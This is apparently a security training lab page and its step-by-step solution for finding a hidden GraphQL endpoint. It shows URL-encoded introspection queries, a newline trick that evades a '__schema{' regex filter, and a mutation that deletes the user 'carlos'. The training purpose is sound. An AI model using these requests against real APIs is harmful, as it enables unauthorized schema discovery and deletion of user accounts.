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Lab: Finding a hidden GraphQL endpoint

PRACTITIONER

The user management functions for this lab are powered by a hidden GraphQL endpoint. You won't be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection.

To solve the lab, find the hidden endpoint and delete carlos.

We recommend that you install the InQL extension before attempting this lab. InQL makes it easier to modify GraphQL queries in Repeater, and enables you to scan the API schema.

For more information on using InQL, see Working with GraphQL in Burp Suite.

ACCESS THE LAB

Solution

  1. In Repeater, send requests to some common GraphQL endpoint suffixes and inspect the results.

  2. Note that when you send a GET request to /api the response contains a "Query not present" error. This hints that there may be a GraphQL endpoint responding to GET requests at this location.

  3. Amend the request to contain a universal query. Note that, because the endpoint is responding to GET requests, you need to send the query as a URL parameter.

    For example: /api?query=query{__typename}.

  4. Notice that the response confirms that this is a GraphQL endpoint:

    { "data": { "__typename": "query" } }

  5. Send a new request with a URL-encoded introspection query as a query parameter.

    For example:

    /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A

  6. Notice from the response that introspection is disallowed.

  7. Modify the query to include a newline character after __schema and resend.

    For example:

    /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema%0a+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A

  8. Notice that the response now includes full introspection details. This is because the server is configured to exclude queries matching the regex "__schema{", which the query no longer matches even though it is still a valid introspection query.

  9. Save the introspection response body as a local JSON file.

  10. Go to the InQL Scanner tab and scan the saved file.

  11. Browse the schema and find the getUser query.

  12. In Repeater, send the getUser query to the endpoint you discovered. Note that you need to convert the query to URL encoding.

    For example:

    /api?query=query%20%7B%0A%09getUser(id%3A1334)%20%7B%0A%09%09id%0A%09%09username%0A%09%7D%0A%7D

  13. Notice that the default 1334 user ID causes the API to return an error.

  14. Test alternative user IDs until the API confirms carlos's user ID. In this case, the relevant user ID is 3.

  15. In the InQL Scanner tab, browse the schema again and find the deleteOrganizationUser mutation. Notice that this mutation takes a user ID as a parameter.

  16. In Repeater, send a deleteOrganizationUser mutation with a user ID of 3 to delete carlos and solve the lab.

    For example:

    /api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D

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